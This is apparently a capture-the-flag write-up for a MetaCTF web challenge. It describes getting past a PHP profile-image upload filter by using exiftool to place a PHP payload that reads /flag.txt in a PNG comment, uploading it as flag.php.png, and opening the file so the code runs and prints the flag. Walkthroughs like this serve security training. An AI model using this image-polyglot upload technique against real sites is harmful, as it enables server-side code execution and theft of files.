If it passed the tests, it’s good, right? Thankfully, QA wrote some basic security requirements this time, so the developers had to go back and add some protections around file uploads.

The AppSec team doesn’t think this new app is as secure as it should be. Can you check it out? You can access the website here.

The flag is located at /flag.txt on the file system.


So, based upon the challenge desciption, we know this challenge is going to involve uploading a file, and the only place to do so on the website is via the profile editor. We can choose to upload a new profile image. We can see the website is running php based on the url (http://host1.metaproblems.com:4800/edit_profile.php), so my first thought is to just attempt to upload a simple php script to display the file flag.txt. I put the following into a file named flag.php and attempt to upload it:

echo file_get_contents("/flag.txt");

Of course, this fails with the error “Oh snap! Upload failed! Error: Only PNG files are allowed!”.

Next we’ll try a simple filename bypass by renaming the file to flag.php.png, but this fails with the error “Oh snap! Upload failed! Error: Only PNG files with a valid size are allowed!”. I found a png file on my harddrive from a previous CTF, and attempted to insert the php code after the headers and re-upload, and this time I got a more interesting error.

"Warning: getimagesize(): PNG file corrupted by ASCII conversion in /var/www/html/edit_profile.php on line 23"

Now we know that the website is using the php function getimagesize() to verify the file type. I did some searching for getimagesize() bypasses, and found that you can inject php code into the comment of a png file and then get the website to execute it. We can do this using exiftool.

$ exiftool -Comment='<?php echo file_get_contents("/flag.txt"); ?>' flag.png

$ exiftool flag.png
ExifTool Version Number         : 12.40
File Name                       : flag.png
Directory                       : .
File Size                       : 65 KiB
File Modification Date/Time     : 2022:09:10 00:08:02-04:00
File Access Date/Time           : 2022:09:10 00:08:02-04:00
File Inode Change Date/Time     : 2022:09:10 00:08:02-04:00
File Permissions                : -rw-r--r--
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 1127
Image Height                    : 350
Bit Depth                       : 8
Color Type                      : RGB with Alpha
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
SRGB Rendering                  : Perceptual
Gamma                           : 2.2
Pixels Per Unit X               : 5669
Pixels Per Unit Y               : 5669
Pixel Units                     : meters
Comment                         : <?php echo file_get_contents("/flag.txt"); ?>
Image Size                      : 1127x350
Megapixels                      : 0.394

We rename our file to flag.php.png and upload. This time, instead of being greeted with an error, we are greeted with “Awesome! You just uploaded a new profile picture :)”. Now we can browse back over to “View Your Profile” and see that no image is displayed. Using the Inspect function in our browser, we can see that the profile image is now pointing to uploads/profile_images/uUhk3yfmoO/flag.php.png. We can go directly to this file and be greeted with our flag hidden inside of the PNG data!

...Ys%%IR$�5tEXtCommentMetaCTF{your_php_enabled_image/png_is_the_content_to_my_type} �(O��IDATx^�...